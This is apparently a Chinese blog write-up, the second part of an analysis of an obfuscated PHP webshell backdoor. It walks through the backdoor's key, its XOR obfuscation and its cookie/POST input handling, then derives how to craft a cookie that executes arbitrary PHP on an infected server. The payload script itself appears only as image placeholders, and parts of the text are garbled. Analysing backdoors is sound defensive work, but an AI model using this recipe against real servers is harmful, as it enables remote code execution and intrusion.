项目实战 | 记一次对某猥琐PHP后门的爆菊( 二 )

后门触发条件:
1.$vv需要是数组2.成员必须存在'ak'且'ak'需等于$c77700426的值 $c77700426的值在上面已有定义:
为'aec7e489-2fbc-4b15-871f-1d686eeb80dc';3.成员需存在'a' , 若值为'i'则输出版本 , 为'e'则触发后门4.后门执行内容为成员'd'的值所以$vv需要等于↓↓
array('ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a'=>'e','d'=>'执行代码' //如phpinfo(););.直接传入试试有没有问题 :
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
可以执行 , 回到上面:
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组也就是:那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组
也就是:
x184f5cc(base64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}看下x184f5cc()函数做了什么操作?
functionx184f5cc($vv, $kk){global $w8fd00d8;global $c77700426;return e664fd(e664fd($vv, $c77700426), $kk);}1.其中$w8fd00d8相当于$GLOBALS $c77700426是固定值 //'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
2.经过两次核心混淆函数e664fd()的处理 这时候重新理一下:我们必须使e664fd(e664fd($vv, $c77700426), $kk);的 返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}再来看一下e664fd()函数
functione664fd($vv, $kk){global $w8fd00d8;$n513761 = "";for ($i=0;$i大致功能就是把传入的两个参数值逐个字符转为ASCII码并进行位运算(取反) , 得到的结果以字符串形式返回 。
位取反有个特点: 1.A与B取反=C 2.B与C取反=A 可逆 , B^C当然就得到A了 。
所以回过头看:
我们必须使函数↓↓
e664fd(e664fd($vv, $c77700426), $kk);的返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}也就是我们需要在第二次我们必须使e664fd()时候 ,
让e664fd($vv, $c77700426)与$kk的取反结果等于↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}于是需要看看$kk的值是如何过来的
foreach ($_COOKIE as $k=>$v){$vv = $v;$kk = $k;}if (!$vv){foreach ($_POST as $k=>$v){$vv = $v;$kk = $k;}}发现$kk/$vv前后没有做什么验证 , 代码就是就是比较单纯的获取COOKIE或POST提交过来的参数名和参数值并传给$kk/$vv我们通过cookie提交来验证一下是否正常输出:
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
没问题!
三.确定爆菊思路然后我们大致确定下构造的思路:
e664fd(e664fd($vv, $c77700426), $kk);第一次e664fd()执行时:
e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'需返回能与第二次e664fd()cookie参数名取反结果为a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"......的值第二次e664fd()执行时:
e664fd(第一次的返回值, $kk);//需返回
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}所以构造思路如下:
(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie参数名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
按照这个逻辑进行参数提交 , 方可触发后门 。
但COOKIE/POST中参数名对特殊字符支持有限 , 所以$kk(参数名)的值最好在字母/数字范围内 , 好在$vv(参数值)的值就宽容的多 , 尤其是由于$vv传递过程需要Base64解码 , 所以 , cookie值需base64编码 , 可以取反的字符范围就比较大了 。
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));我们先把$kk也就是cookie参数名的字符固定一下 , 比如就叫'tttttttttttttttttttttttttttttttttttttt.....'
(也可以是任意字符 cookie参数名允许即可)
具体长度取决于我们的payload序列化后的字符长度(phpinfo()的序列化
后长度是101个字符) , 两者长度要一致 。
四.写个Payload脚本我们写个脚本:大致实现通过传参生成任意执行代码的payload , 如果要更懒的话可以直接写提交过去 。 Payload代码:
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图
生成结果:
项目实战 | 记一次对某猥琐PHP后门的爆菊文章插图